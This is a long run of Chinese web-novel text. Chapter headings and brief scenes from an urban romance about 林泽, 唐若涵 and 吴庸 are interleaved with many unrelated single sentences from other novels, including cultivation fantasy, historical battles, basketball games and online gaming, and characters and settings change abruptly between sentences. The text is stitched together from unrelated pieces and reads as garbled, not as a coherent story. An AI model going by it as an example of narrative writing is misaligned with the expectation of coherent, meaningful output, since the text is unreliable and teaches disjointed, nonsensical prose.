伴随着腐化力量的蔓延,由无数虫子构成的怪物突然活了过来,一双暗红色的眼睛望向了黑蛇所在的位置。 如今虽然他虽然没有死去,但肉身已经碎灭,他只能再次回到岩心地火中沉绵。 余子杰这么并不清楚余良的决定,依旧在外卖命救人,偶尔抬头不远处的那个领头的活尸,总给他一种特别熟悉而且肯定认识的直觉。 巩永固也显得很意外,眉头一皱,瞧了常宇一眼,并不打算理会,他是个彬彬有礼之人,口碑在勋贵中好到爆那种。 三个臭皮匠抵个诸葛亮,刘芳亮三人就不信邪了,自个三人没一个蠢货联手还搞过一个李岩,参不透他的心思? 宙斯表示很无语,连他这个正儿八经的奥林匹斯之神,手里握着原版正宗的雷霆之矛都不敢向林夏动武,眼前这些凡人,到底是哪里来的勇气,去攻击一尊比神还要伟大的存在。 青龙开始攻击古鼎,古鼎光华灼灼,强大的防护,伫立上空,无法被撼动丝毫。反而,青龙在这攻击中,不时有血肉飞溅,创口裂开,喷洒出一道道血雨。 成千上万人竟被那无形空间托起,慢慢升上空中,登时惊恐声四起。 常宇放下茶杯:“少不得有道长的赏银,不过道长也别掉进钱眼里了,先给本督说说李岩从安庆那边都送来什么消息”。 叶天手上的金光盾被破甲箭射中应声碎裂,不过破甲箭在触碰到叶天身上魔甲衣跟龙牙锁甲的时候,由于力量被金光盾卸下去了一大半,威力顿时大减。 “就目前来说,我要跟你澄清一个事实,那就是炼器宗没有归顺广河郡,而是被曾毅宗主暂时交给我照看而已。”叶天没有废话,直接将天照佛陀最想知道的说了出来。 孙伟同样将电话来着免提放在工作台上,伸手从副驾驶的座位上拿过五L发,单手撸动枪栓。 马云峰跟罗杰相互瞅着对方,都没有开口说话,此刻无论是谁先说话,这枪都会响,闹市区,枪响了,事儿就大了,这个理儿,二人都明白,因此二人多少心里有些忌惮。 初交手两人都十分谨慎,经过三十个回合后,双方的刀光剑气将两人罩在一起。大殿里的神策军武士远远围观不敢上前,生怕被那刀罡和剑气所伤。 客房里又黑又暗,隐隐约约传出来孩子的哭声,胡丽娜却全然不管,舒了口气,回卧室躺着生闷气去了。 他在逃离冰冻掌控的时候,使用空间穿梭强行遁到了冰龙的腹中,这一招叫做置之死地而后生。 颜滟被针对惯了,有时候她自己能找到理由,但更多的时候她自己完全是一头雾水,至少得过个一年半载才能找到点蛛丝马迹。 无疑,庚浩世是这节比赛最大的功臣,不仅用灌篮打压了对手的士气,还带动了队友的气势,使得这些替补队员有了比之前主力队员更好的表现。 第一卷 第107章 吴庸特殊的关心。 “不知道。” 唐若涵紧皱眉头,语气不善。 苏晴却自顾自的说着。 用魂火主宰制造出来的巨石人,自然不可能给对方造成太大的伤害。但骤然发动之下,依旧让对手猝不及防。 “没问题了,有老大和我们一起,就不愁饿肚子了。”五眼也喜滋滋的对着杨岩说道。 目光冷淡如水,锐利如刀。林崇子爵忽然感到了一丝寒意,这是本能对危机的感应,到了它们这个境界,这种感应绝不是错觉,而是一种保命的秘诀。 相较于这些仙庭强者的复杂感观,此刻水梦涵却无丝毫气馁,反而明眸中满满被战意,兴奋,喜悦充满。 两个平日里嘴巴功夫厉害的心腹嚎啕大哭,好似受了多大的委屈一般。 现在他们心里都很不爽,怎么爸妈这么急着给他们找对象,真是不明白,他们心里是怎么想的,也不顾做儿子们的感受就擅作主张。 清楚的记得是第三次出现这种情况的菜月昴,趁着这两人专心补魔的时候悄悄走到角落,然后将坐在自己头顶睡觉的白毛狐狸抓到手心。 余招财,不是淦州人,却是汀州境内邻近淦州的安城人士。一听这名字,就知道这人是做什么的,富商。渁竞天的生意伙伴。 这样一来,身体周围都是敌对的规则力量,体内的结界再想撑开,便要面临的极大的压力。 如果用兑子来计算的话……如今,被誉为“仙庭第一剑”,创出了“神剑九式”的惊天剑神云夜辉,可与魔尊杀破歌兑子。 在打车偷偷去了趟蓝山别墅后,她也只能在外面看着灯火通明的别墅院景,最后她坐上车,在不知道去哪里的情况下,她让出租车开到了叶家停下。 跛叔飞出禁制救下湖伯,宁叔拉弓射箭,将打向闲叔的魔气打散,却不能对吉亚产生半点伤害。 只见那巨大的狂暴类人猿,仿佛已经是按奈不住,直接攻了上去。 这是不被允许的!如果他们能做到的话,天妖界不可能是如今这一番光景。 而之前的那些开采出来的低级灵石,也没有浪费,而是直接分发到各大家族中,用于修炼。 汪亮尽管一百个不服气,但也不能嘴硬不承认,人家是牛,而且比自己牛太多了。 只有认出谢逊的苦头陀眼里充满忌惮,不断打量这半路杀出的四人。 有的心里承受能力比较差人,直接就打开会议室的门冲去厕所了。 经理也是皱着眉看向那名导购,不管心里怎么想,嘴上菲薄顾客都是不被允许的。 天妖界被天佛界压制了那么长时间,天佛界一众佛修,对天妖界了解甚深,天妖界的妖族却并不怎么了解天佛界。 刚看到巨蛋的第一眼,萧炎恍惚间仿佛看到一只称霸诸天寰宇的太古巨龙,巨龙身后是一片无尽的火海,火海之中火势冲天,巨龙盘旋在一座连绵不断的火山之上,仿佛要冲天而起。 孩子们之间的感情似乎就是这般纯粹,不需要相处多长的时间,可能就是说了几句话,彼此夸赞了几句,互相给了一个笑脸,而后一起哈哈大笑了两声,彼此有了好感,就有了友谊。 第一卷 第108章 大城市的诱惑,他们抵挡不了。 悦澜庄园。 东海市最经典的庄园之一。 整个建筑为西式风格,以奢华,昂贵著称。 摇曳灯光之下。 唐若涵和吴庸相对而坐。 柔和光线偶尔照过来,映得唐若涵精致的面孔越发白皙。 “吴庸,你有什么话要对我说吗?” 他在城墙之上,也是看的非常的清楚,可以说是从汉军攻入大营,到齐军败退被追杀,可以说是从头到尾,都十分的清楚。 “这是我的底线,也是我不想和你们有太深的牵绊,还是公平交易的好。”陈浩认真说道。 比起脸色煞白的研究员,黑衣男倒是反应迅速的掏出了武器戒备着四周。 云秀也是担心起来,就怕祁荆山不同意,人家不想再婚,自己也是没有辙,自己不能牛不喝水强按头吧? 苍山也是一家人这次不能去的地方,大家逛得很疲惫,也没有那个精力了,就逛逛古城也觉得很值得了,这趟云南之行真是来得不冤,很开眼界。 见他们的时候带着口罩和墨镜,就是让他们占便宜,也不让他们看看面目。 狐,山中之灵,若是带在身边,带入了尘世,那还叫狐吗?尘世中的,那是狐狸犬。 剑柄陷入腹部的冲击随着话语落下,让史提尔不可避免地倒飞了出去。 虽然按照着实情,并不会存在着什么的危险,但实际上,却还是不一定,还是会有着出现变故的情况出现。 秦阳无法笃定他这话是什么意思,唯有保持沉默,毕竟在这里,他是弱势者,就像萨麦尔所说的,他连自己的生命都没办法保证。 名义上的答谢宴还在进行,但身位主角的修尔已经跑了出来,那种场面再怎么喜欢,也不如和妹妹这样相守,即便两人多半时间都在沉默,但心灵之间的交流,却在沉默中流淌。 不过,这种苛责情绪只持续了一分多钟,当副歌响起,惊艳的戏腔让俞老师感觉自己的汗毛都要竖了起来。 柳大妈是负责这个市场的管理人员,嗓门大又特能说,谁要是违反了市场管理规定,她准能逮着你吧啦吧啦讲半天,不一会儿整个市场都知道你做了什么事,那就不用做生意了。所以大家都遵守规则,不敢招惹到她。 安西之地,对于李无解乃是重俊太子之后,以及其大唐皇室的身份,已经如旋风一般传遍,人们争相传播着重俊太子的旧闻以及李无解的种种言说,也都翘首期盼着,李无解挥师东进,重整破碎河山。 至于08届其他人,伊巴卡已经隐约有一个蓝领大前锋样子了,要防守有防守,要进攻有进攻,而且不占球权!在雷霆可以说很得教练欢心。 当然,李无解也并不会傻到直接拒绝李亨,一句“无解生在大唐,怎不能为我大能尽心竭力”,让李亨也算是知道了其意思。 这场比赛打得这么焦灼,老尼尔森早已预料,只是没有料到过程是这样的,先是对方的主力控卫脑残,然后自己的主力控卫脑子也瓦特了,反正结局差不多,老尼尔森就没太在意。 不过,想想守在外面的那些人,他们明白,逃离,其实就等于死亡,不只是他们自己,肯定还包括他们的家人。 比赛结束后,刘莽来到场上,詹姆斯也跟了过去,两队没什么仇恨,横扫也没办法,实力差距太大。 第一卷 第109章 房子里的东西,怎么办? “弟兄们给军侯报仇!”徐州军中突然一声喊,一个什长样子的徐州军高喊一声,带着部曲向韩当攻过来。 “胡说,哪个圣人说的?”赵敏就算再装,也忍不下去了,身体太痒了。 “这个大家是不是都当局者迷了,黄巾军的玩家要下线,咱们的玩家也要下线不是?晚上11点,就是三哥他们这些整天泡在游戏里的学生也因为寝室熄灯,上床睡觉去了。”炮大有说道。 万武奇头上双角升出一道白光,将整座山洞耀得通明,瞬间将血云冲开。万武奇咆哮一声,身子便要飞出血云之外。这时赤血幡上血雾一卷,空中出现一只血色大手,如泰山压顶一般,拍落下来。 “下个屁雨!这他阿母的是大队的骑兵!全军结阵!”高柔扯着脖子大喊道。 但大炮也是战斗经验非常强的人,在被动防御间,也抽冷子给张勇造成了不少伤害,两个就这样正面刚了起来!贴身战就是这么凶险,谁软谁疏忽,就是败。 杨成也不回答,而是自顾自地竖起了右手掌,他的手指开始一根一根回拢计数。 只见汉帝胸前一个血窟窿,依然张开的双眼表明了心中的不甘,而微启的嘴唇似乎在喊着自己的心愿。 那十二个火焰巨人把嘴一张,吐出十二道火焰,化做一道火墙,拦在那锦衣男子的上方。 看着夏铮喘着粗气好像一头猛兽一样朝着自己扑来,王勃停身站住。 午时方过,整个伦音海,突然寂静起来,如同极致的喧嚣过后,突然反归平寂。 “丹尔会好好安排你们的,让你们过上幸福的生活的,你们跟着这个姐姐下去吧。”陆羽挥了挥手。 那公子哥说完跳进泳池,不紧不慢的游到岸边,旋即在陆羽脸上扫了扫。 叫上黄岩三人一同来到了匪兵哨塔,这有是刘志意外的地方了竟然哨房内几个匪兵,全被撂倒,有躺在床上的还有趴桌子上就睡着的,死猪一般打着鼾,怎么叫都叫不醒。 屠弦忠听罢摇了摇头,我莲蓬岛距北口镇数十里,这样远的水程,哑乞婆是如何做到的,他们竟然能聚在一起,江儿你没有诓我吧。 突然船身一晃,刘芸心中一惊,渐渐抓住船沿,稳住了身子,火把在水面上四处晃动,她敢肯定,刚刚船底绝对是碰到了什么东西。 正常情况下,品果是三年一熟,纯度高的则是五年一熟,但若是练武有成则能缩短到一年,一些练武奇才则能三五个月就熟一次。品果收割后会有禁忌,而练武也能缩短“禁忌”的时间,可谓是一举数得了。 但是下一刻,他感觉眼前寒光一闪,脖颈处传来一股微凉的感觉,然后他惊愕地发现自己眼前的景物竟然翻转了起来。 顿时手心里有点点闪光,如星辉般闪耀,从手心流泄,她解开简单的发带,长发瞬间垂下,美若水墨宣画。 楼上,沅子凌听到动静,不顾莫如颜的胡搅蛮缠,疾步冲了下来。 他向来行事稳妥,众人也对他比较信服,听到这沉稳有力的声音,有几人打消了心中的疑虑。 再加上孔亮的预算也就五十多万,这能有一百万已经大大超出他的预计。 许朔退到冰箱的位置,将冰箱也推了下去,正好算到珍妮扑过来的时机。 “分手了呗,还能怎么回事。”陆子煜理了理头发,一脸无所谓的说道。 “所以,你是未雨绸缪了?”朱开山倒是纳闷了,自己儿子还立功了不成? “那你来看望病人,都不带点东西吗?”苏子桁坏笑的看着祁云深。 若非他监听到了对方和井上千鹤的谈话,恐怕这次还真被对方糊弄了过去。 他甚至听不见此时的主持人已经上台,已经让所有观众开始投票。 “好咧,夫人真是好眼光,这可是本店最贵的一副耳饰。”店老板恭维地说道。 一瞬间随着紫寒的声音而起,天地间若化作无尽的荒芜,此时所见漫天的光华涌动,随着剑气而过紫寒纵身而至向着千玉炎杀伐而来。 “这是什么拳术,怎么爆发力如此强大?”青正申心里暗暗叫苦,但身形只能不断后退,以求维持住局势。现在的他完全失去了先机,没有办法出动最强的一击,只能在劲气四溢的经脉中暗暗凝聚着一股力量。 “这莫非是俊贤的妻子和孩子?”穆先生此刻也是哈哈笑了起来。第一胎就是双胞胎,穆先生十分的高兴。 经过乾老长时间的教导,孤落已经是从心里,承认了这位老师的身份。渐渐的他觉得已经不适合直呼其名,于是不知在什么时候,就改口了。 "这是什么地方?"盖亚皱着眉,疑惑地打量着周围的蓝色空间。 红狗的筋骨当即就断裂,而后飞起身体在空中迅瓦解,最后四分五裂,连惨叫都没有来得及出一声。 大伙见到师弟铁骨战猴还有这等本领,将师父保护的是毫无破绽,大伙这才放心,便各自施展一身本领在城中展开激战。 好不容易十军之战结束了,刘范还以为可以陪伴家人好几年。而战端又启,这会儿又必须要走,不带走一丝云彩。刘范觉得很愧疚,对不起五位佳人,对不起她们几年来的倚闾长望,春闺久怨。 可是真到了考验的时候,考验者不知不觉中,就会忘记眼前的一切都只是考验的事实,并且深深沉迷其中,不能自拨。 哭声刚刚响起,林鹏就听见耳边又传来了那个急促而兴奋的呼吸声。 但是他只知道,这个隐蔽的岛屿出现效果,正是他想要的,既然张元等人表达了极之强烈的踞为己有,那真的是太好。 “嘿,陛下若多与武将接触接触,便知道这些人的心思了。”郭嘉嘿然笑道。 萧羽音将玉笛放于唇间,目光微寒。纤长如玉的手指在笛身上跳跃,悠扬的笛音伴随着无数的风刃,爆射而出。 第一卷 第110章 老爷子说,给! “周美珊,你再胡说八道,信不信我扇你!” 唐英豪声音震耳欲聋。 周美珊瞬间哑火,一点动静也没有了。 苏晴不可置信地望着这一切。 耳朵边上,仿佛还有唐英豪的回声。 他们两个人四目相对,谁也不说话。 突然。 “你怎么放了他?”七皇子质问苏岩。苏岩看了一眼七皇子没有答话他走向了燕儿。 顾援北有点不乐意这妞总是去看沈铎,但是没办法,她都开口了,他可不觉得自己有实力能拦住她。 正要提出进行下一个话题的张铁闻言,好奇的看了一眼贺破军,不知道他有什么好的建议。 召唤亲兵,披山纹铠,系紧凤翅盔,抓起马枪,曹友义翻身上马。 “那你听过哪?”周子轩无奈了,有点怀疑眼前这丫头是不是根本没出去过。 “在隔壁,有洛雪守在她的身边了。”见周子轩如此坚持,孟尘曦也只好顺着他的意,搀扶着他走向了隔壁的屋子。 由于出了谣言,张婶严令几个丫鬟不得与任何人搭话,那几个丫鬟倒也乖巧,见到有生人在杏林馆外出现,都立即退回千金堂内,关门关窗。 刘晶好像是回家了,寝室就剩下我们三个,王思晓回来就睡觉了。我跟高圆圆收拾收拾,十点多就关了灯。 继而又想到,如今宣景已经登记,孟氏也渐渐成就气候,高密王一派看着,不说已经前途渺茫了,却也不容乐观。 若是平时,我肯定不拦着陶好的桃花运,可今天她喝的有点醉,我不放心。想着一会儿一定要一路护送回家。 陆濯怔怔被点心塞了满嘴,连心跳都迟滞下来。立即缴械投降,坚定地把头摇成拨浪鼓,毫不犹豫地否认了爱人当初分明差点就没能认出自己,和自己一度眼睁睁擦肩而过的光荣事迹。 郭胜正想的出神,李漕司已经到了花厅门口,郭胜急忙站起来,长揖见礼。 眼看着保护大家的这批人越来越虚弱,就连巡逻武装机器人都出现了行动迟缓的现象。 “你,你怎么从林爷爷家出来了?怎么可能,怎么可能?!”唐欢欢震惊无比地道。 失而复得的喜悦一下下顶撞着胸膛,陆濯将他向怀里护得更紧,悄然将气息释放开来,御剑加速,朝鸿渐魔尊的住处赶去。 只是一个世界而已。反正经验点已经凉透了,他不能主动违抗系统的主线剧情,总可以在力所能及的范畴内,在他还能留下的时间里,给对方留下些哪怕极短暂的温暖时光。 此时,比利正在和自己的王妃说比特的事情,他和自己的王妃感情一直都很好,这些年以来生了三个儿子,每个儿子都是他们亲自看着长大的。 刘彻表情一滞,看到阿娇冷冽的神色忽然有些神伤。什么时候阿娇看着他的神色竟然变成了这样呢?他记忆里阿娇总是对自己十分依恋的,尽管他从前很厌恶阿娇的依恋。 他话还没说完,突然胸前一疼,原本还在几十步外的沈萤,突然出现在身侧,一拳狠狠的砸向了他的心口。 大不了以后,我就和孙婵好好的道歉就是了,一看这姑娘就是一个好脾气的。很容易说话的。就算是好不了,她还能咋地对自己呢?最多就不理会自己而已。 第一卷 第111章 谈一下他,可以吗? 盯着发出去的消息,隔着屏幕,南希都能感受到林泽的尴尬。 “我是说,和好了吗?” 南希迅速补充一条。 这一次。 心,更紧张了。 “没有,唐老先生刚才打电话,让我们明天去唐先生那里拿证件,所以不用补办了。” “太好了!” 说话间。 她一上来,便停在楼梯口,美目滴溜溜的打量了楼上的众人一眼。这才启步。她看到何盈和刘姝时,表情明显的一愣,嘴角露出一个讥嘲的笑容来。 张迈都点头称是,知于阗内部如今已分为亲近派和持重派,若就对于阗自己而言,持重派无疑更为谋国正道,但对张迈等来说,却自然更喜欢于阗国中的亲唐派。 妩娘一溜烟地跑到自己屋里,一头扎在床上哭起来,只叹自己命苦,怎么就摊上这样一个不省事的姐姐。 天策民兵在屋内都用手捂着炭炉,所以手脚柔软有力量,叛军在外面冻了半夜,手脚都僵硬了,接战时连活动都不利索!加上人心慌乱,根本就无法作战。 只有贺兰飞琼坐着,其他人并不知道地宫下发生过什么,但在矿脉的混战中,全靠贺兰飞琼一人力挽狂澜,所以她的地位也被奠定下来了,包括方以哲,都对贺兰飞琼恭敬有加。 柏掌柜将梁嫤请进另一个雅间,又取出一方匣子,打开来,拿了六百两的银票推给梁嫤。 待到众人从左相府的地道出去后,苏子然从门外一路走了进来,脸上满是担忧,望着自个的父亲。 她虽然想离开顾家,可她并不想顶着一个勾引男人的坏名声被赶走。 荣华堂内众人赞叹不已,容臻奉上寿礼后,容凛也给老夫人道了贺,并奉上了贺礼,一尊红珊瑚,足有两尺高,这样大的红色珊瑚也是少见的,荣华堂内再次的响起赞叹声。 眼前这恐龙的体型,的确是他们身体的许多倍,虽然比例没有人和跳蚤那么夸张,但这战术却也是可行的。 今日客栈闹出这么大动静,公主府的侍卫围堵住客栈门,不少百姓围在此处看热闹,安惠公主的蓄养面首的传闻流传很广,已经成为余杭百姓茶余饭后的谈资。 那时还以此事激励自己,我初始寿元比别人少点没关系,靠着提升修真境界,我可以活得比大部分人更长。 本来嘛,他一个吊丝,每天在天庭生活的那名枯燥,你说你突然来招惹他,你不等于说是给他送玩具的吗?他能不玩你吗? “哎哟!真的打死了呀!”原本沉重的气氛因为几头野猪的死亡而骤然变得轻松起来,有人脸上挂着激动的笑容,差点没手舞足蹈的表示自己的高兴了。 他的暴富,遭来了他人觊觎,李阿福身份的住处,常有行踪鬼祟之人出没。 他达到天仙,至少有数千年的时间了,可是再想要前进一步,就变得无比艰难,更没有那么容易。毕竟达到这种境界,每提升一步,所需要消耗的灵气,都是海量的存在。 沈老五家可以不回去,反正她跟他们的关系现在也可以说是在明面上撕破脸皮了,可沈奶奶家里还是要回去一趟的,就凭之前住在她家的那一晚还挺舒坦也不能不回去。 青袍修士取出一个正好装有两万灵石的储物袋,让对方神识探入。 第一卷 第112章 你相信警察吗? 林泽眼眸一怔。 吴庸? 有什么好谈的? 脑海当中闪过那张虚伪的脸,林泽只觉得犯恶心。 吴庸是唐若涵的白月光,情人眼里出西施也好,爱屋及乌也罢,唐若涵欣赏认可吴庸,那是她个人的事。 但在自己这里,吴庸就是一个十足的小人。 谈他,根本就是浪费时间。 “唐总,还是不要谈了,您业务上的事情我不懂。” 院子里已经没有任何灵魂存在,说到底她还是晚来了一步,不知道这个世界上有没有鬼差,但是孩子们的灵魂确实已经消失,而那些恶人恐怕被打下地狱了吧。 他还希望着楚阳有朝一日突破先天之境,成为他可靠的盟友,可不想楚阳在此地丧生。这也是他刚才决定出手帮助楚阳的最主要原因,要不然,苏图可不会闲得去跟火云蛇这强大的妖兽拼命。 “切!不会吧?刚说你说对了,现在就问这么个问题!我叫福生当然就姓福了。不然还能姓什么?”福生很是不屑地说道。 “什么?!”此声惊叹不仅来自于叙述画面中的蔡瑁,也同样来自于聆听者刘琦。 元娘和徐氏被安排到了董氏住的望月轩东偏房里,与董氏的院子隔着一道长廊,走两个门,到也眼不见心不烦,互不打扰。 元娘听了微呀,果然把她们姐妹接来不单单是拜寿这么简单,看来太夫人早就做好打算了,不过到了中了卓惜玉的心思。 这就是所谓的百分之四十的死亡率?庆幸的同时,有些名不副实下产生的怀疑。 不知道为什么,坐在微微身旁的王逸然突然觉得这样的微微很霸气。仿佛这场为她举办的宴会完全无关紧要,她就这样冷眼旁观那些人绞尽脑汁的想来和她套近乎却无从下手。 躲在极远处的烈焰岛老岛主胡镇远,惊恐的看着千丈恶魔,心中竟有了一丝极为不好的预感,对自己的做法有了怀疑,但心中一横反正做都做了,事到如此也只能硬着头皮上了。 “下次见面,别让我看见你还是瘦得像根棍儿。”盖亚轻轻用手背拍了下艾辛格的胸口。 “诺伊尔,他的声带都坏掉了,以后还能说话么?”艾辛格慢慢皱起眉。 结果让青炎意想不到的是,原先沉睡在他体内的那股力量,也在堕羽者们于法阵周围哼唱起这歌谣之时,重新苏醒。 刚刚说完,杨轩就把飞船收了起来,周进放眼看去,在这个广场上停放在各种各样的飞行法宝,甚至周进看见到了一件上品灵器巅峰的飞行法宝,就那样停靠在这个广场上。 由于家政公司打扫了一番,现在的出租房看起来有模有样了,又干净又整洁,阳台上的几盆盆栽也增添了温馨的气息。 张曙光一直非常照顾他,他不能刚有点成绩,就把pcr扔到一边去不管了。 要知道周进飞升的时候,他们那一个飞升池当天可是飞升了上万人,这上万人都是调查的对象。 李显只是摇了摇头:“不,他便没有反抗,他只是以他的生命结束了,我与战远堂之间的矛盾罢了。 此时,这顶先前被老者点燃的军帐即将坍塌。云凡也在夏晖、辛扎依玛等人的催促下拿起灰烬里被赤色火焰烧得通红的「天纵牙」,然而与众人一起冲出军帐。 “你丫的叫什么名字?敢告诉我你们的名字吗?”余明刚要走,回过头来,狠狠地瞪着温智鑫问道。 第一卷 第113章 就差一步,电话来了! 张军耿直,以前在学校,最常说的一句话就是“士可杀,不可辱。” 对于眼下这件事,他同样是抱着这种态度。 虽然嘴上一直讲身正不怕影子歪,爱怎么查怎么查,可心里早就憋了一肚子的火。 这让秦昊吃惊,对方这是什么传承?怎么感觉比秦明还要有魔性。 “呃……这个——”左慈只好走上前去,不过一旦动手,众目窥视之下必然身份暴露,所以迟迟不肯动手。 门帘一撩,秦宠儿身后跟随的侍婢闪身至一旁,百里九与暮四走进来,不悦地望着秦宠儿,蹙着眉头。 尽管一瞬间的工夫,他们就从幻境里面出来了,可清醒过来再抵挡旋天矛和骨山印的攻击,节奏上就慢了半拍,顿时手忙脚乱起来。 两个侍卫从外面进来,拖起地上的暮四就走,暮四挣扎着一路哀嚎。 王大师,我们莱阳城也和其他城市一样,主城有四张城门,主城内有和修炼界有关的各种店铺,而更高级的店铺,以及供修士修炼的住所,则集中在主城的一个地方。”方和介绍道。 她回来了,随意出现在他眼前,他三年来所做的努力瞬间化为泡影,她是他的毒,不管如何努力,如何想要放弃都解不了的毒。 也亏得现在是深秋,加上水田干枯,泥鳅反应不够灵敏,否则这么大的泥鳅要是在水里,那滑不溜秋的身子,怎么可能是朱婉瑶平时这不沾阳春水的葱葱玉指可以抓住得? 是七七的声音,苏晓冉看过去,看到了闪亮的车灯,以及朝自己跑过来的七七。 虽然袁世振的奏议只是针对两淮的盐政,但其影响无疑是巨大的,而且对于如今盐引在手的王星平来说确实算是一桩大大的利好。 而接下来就轮到其他人忙碌了,杨浩然要开始召集他的智囊团商议如何规划基地外面那片荒原。 当然,观众们的评分要等徐子麟演唱结束后一起公布,现在可以看到的是听评团上面的打分。 在方言开口说话的时候,四周的空气都是一片安静,包括布莱克老夫人在内,墙上那些布莱克家族画像上的先辈们,也都一个个沉默的听着他的讲述。 游戏公司把解药跟毒药全摆上了,如果喜欢,可以自行过来领取,但是价格不是一般的高。 对于这么多玩家到底该怎么安排,一时之间倒也成了令方言头疼的事情。 “没错,就是多核心,通过增加核心仙舰的方式,来大幅度提高舰队的实力,如果成功了军团的战斗力能够直接再上一个台阶!”卓越肯定的点了点头。 青麟收了火,却见黑暗之中他的身影微微泛着金光,四周围虽然热浪冲天,但是给人的感觉却冰冷刺骨。 “你……去死。”幽偌怒喝一声,身上杀气陡然大增,刺眼的剑芒正要逼上前去,周围却亮起数把闪亮的火光。 这些日子,或者说自从东瀛方面怀疑东北十寨基地以来,基地内部和东瀛的特高课进行了很多次的明争暗斗,虽然看不见,但是也是非常的危险。 她一看来电的人是母亲,就先挂断了,随后非常无奈的交出了手机号码赎回了自由身。 与此同时,范增老爷子双翅一展,数千道乌光,朝着玉龙仙子爆射而去。 第一卷 第114章 再嚷,小心我让你回不来! 林泽打开扬声器,张军的声音瞬间传来。 “老林,你那边怎么着呢,昨晚上打电话忘告诉你了,房子的事情已经帮你搞定了。” “房子!” “什么房子?” 周美珊和唐英豪同时出声,脸上表情也跟着复杂起来。 “你在哪呢,身边有人啊?” 张军疑惑的声音再次传出。 林泽来不及回答唐英豪,忙对着手机说了句,“哦,我现在在唐先生这边。” 荒帝对梦境里的情节记忆尤深,他记得他从阑门接回长公主尸体的一幕,记得他出兵诸国责问阑门弟子的一幕,也记得自己在永寿宫饮下外甥递来毒酒的一幕。 丹药入嘴即融,满嘴的草香味化作一股暖流,从喉咙流入肚子,再涌向全身,最终又从全身,涌到他左手。 纤纤玉手擦着药膏,抹过伤口,有一丝温暖,带来一丝冰冷,消除了伤口的疼痛,没有任何的异样情绪,只有一丝温馨荡漾在周围。 “你可知那白马孤客和那对母子有没有关系?”薛定回头对钱九问道。 更令朝廷惊叹的,如云贵这样的地方,竟可每年为朝廷缴纳赋税。 “溟水是个可造之才,只可惜天性太过于邪恶,不然好好培养,会是一个得力的助手!”莫城轻声开口说道。 “哎,守着金山,竟然要了饭,这话要不是程叔你说的,我都不能信。”秦凤仪道。 果然,李镜从娘家回到自家,就见丈夫欢欢喜喜的说了随驾秋狩的事儿。 “不论是谁,现在也顾不得他了,咱们赶紧联系各大门派,请老祖出山吧!不然这尸魁真的做出杀生之事,可就真的罪过了!”道非严肃的说道。 军官叫耶律先,和风之帝国的王族有那么一点关系,祖上往上数八辈还曾经是王室成员,凭着祖荫,混到了一个运粮官的肥差。 “还不赶紧去,这件事要是办不好,你就给我滚蛋!”男孩气得踹了山庄经理一脚。 如今的曹操需要的不再是四方征战,而是巩固这大片江山的稳定。 没想到他消息竟能如此灵通,原来早已知道何进与十常侍倒台的事,甚至对董卓的举动一清二楚。 与此同时,在马路右侧忽然传来一声呻吟,秦海迅速冲了过去,只见筱筱正躺在雪地里,她身上的积雪几乎将她整个地盖住了。 祁胖子等人之所以能来青丘城,便是南无派掌门公冶春暮点头同意的,其心思不言自明,她也到了嫁人的年龄了,是该挑一个中意的郎君了,而祁胖子等人所在的门派在十八重山的势力都还看得过去。 不过现在时间有些紧,不说两个公司之间的扯皮问题,那边还得要选人,然后另外在安排好档期,也是个问题。 紧接着楚望舒问了些其它问题,比如说对方离山之后所得的剑术,还有些一些飞剑的祭炼之法,黑色法棺等相关问题,他这一问又是大半天过去,直至没有什么作何疑问之后这才住口不言。 话虽如此,但一想到杨松与那武将对话的情景,看来是在拉笼那名武将。 那些鸟明显是惧怕古树来着,刘芒就不明白了,一棵参天古树,有什么可怕的,难道它和之前遇到的魔龙古树类似? 而且,刚才的雪家地宫虽说一切痕迹都表示着那是一个混沌开天时的大宗门,岁月古老。 玄喆经我一番劝慰,心情渐渐开朗起来,絮絮的说了近日的功课,便高高兴兴的去寻凤仪玩耍去了。 第一卷 第115章 搬走,弄得跟逃离一样。 周局长脸色铁青,眼睛瞪得像个铃铛。 张军直视其目光,重新问。 “行,走程序是吧,林泽呢?也要跟着我走程序?他可不是咱们局里的人。” 我心中油然生出几丝安慰:胖子一向觉得姬家亲情薄弱,这也算是对他的一种补偿吧。 “师傅,此行如若您老人家,没能够找寻到那位正鹿宫的少宫主紫轩阳,又当如何?”秦囥没话找话说的闲聊问道。 “你的腿角脏了,我来替你擦干净。”那老翁不费力气,躲过了致命一击,反击打倒了那人。 “周先生,钟秀楼各处的监控录像你都能拿到,对吧?”我没有直接回答周志远的问题。 适才进门的剑客大侠,莫不就是如今剑道巅峰十人之一的人间最得意傅远仇? 如意感激的道谢,心想明妃娘娘果真是细心又温柔的人,自己能有个这样好相与的主宫娘娘,也全是仰仗着皇后的垂怜,她的运气似乎是要好那么一点点。 “安东尼,你这次来找我有什么事吗?”放在平时,司徒封涯早就招呼着安东尼进屋了,但回想起安东尼跟他们第一次见面时的事情,再加上他刚才的反应,司徒封涯推测安东尼这次多半是冲着惜和来的。 “当然忙了,怎么了?”殷冉城府衙捕头付轩一边注意着城主李穆潼的周遭众人,一边漫不经心应承着他的酒肉朋友龟公曾尧说道。 最大的区别就是,需要十二组过滤机,最少要派六辆大货车出发。 “司惜和?华夏人?她是哪一家公司派来的人,是要跟咱们商谈合作吗?”安妮莎皱了皱眉,在她的印象中,自己好像从来没有听说过这个名字。 王红军在拿到百分之八的股权后又正式回到了董事局,除了公司董事会成员这个身份外,他还将担任红叶投资集团的副总经理。总经理则由来自龙达集团的德国人凯日曼担任。 而在交缠的同时,凛音望着叶岚的双眼,双方四目相对着,凛音忽然发现,她自己的心跳,也加速了许多。 “你们好大的胆子,竟然敢这样对我,就不怕我上去后报警么?”谭佳佳脸色难看,从地上爬起来后,她立刻头也不回的一边狂奔,一边开口喝问道。 现在自己肩膀上已经有很多人的责任了,让自己不敢懈怠,不敢随意。随意再觉得轻松,也要全力以赴,因为自己输不起。 一名指挥官用俄语大声指挥士兵们爬上山坡继续追击。这时候张金亮的狙击步枪声了,那名指挥官应声倒地。 此时的雷修,变化出了狂樱,而叶岚,也取出了瓦尔萨P38,两人,都是一副全面备战的状态了。 不需要太多的时间思考,李莞稍作思量,李茂功的身影便浮现在了她的脑海中。 裂天蟒天生可以掌控一定空间力量的神兽,大蛇王现在也继承到了这种恐怖的力量。 浑身缠绕着墨色烟雾的老者逐渐走出阴影,他手持一柄尖锐的骸骨法杖,显得十分诡异。 从段长府邸出来,贺六浑吓一跳。兄弟们都在府邸的门房处等着呢,一个都没有少!一股浓浓的兄弟情直冲鼻腔,差点眼泪掉下来了。 第一卷 第116章 心里有本账,门儿清。 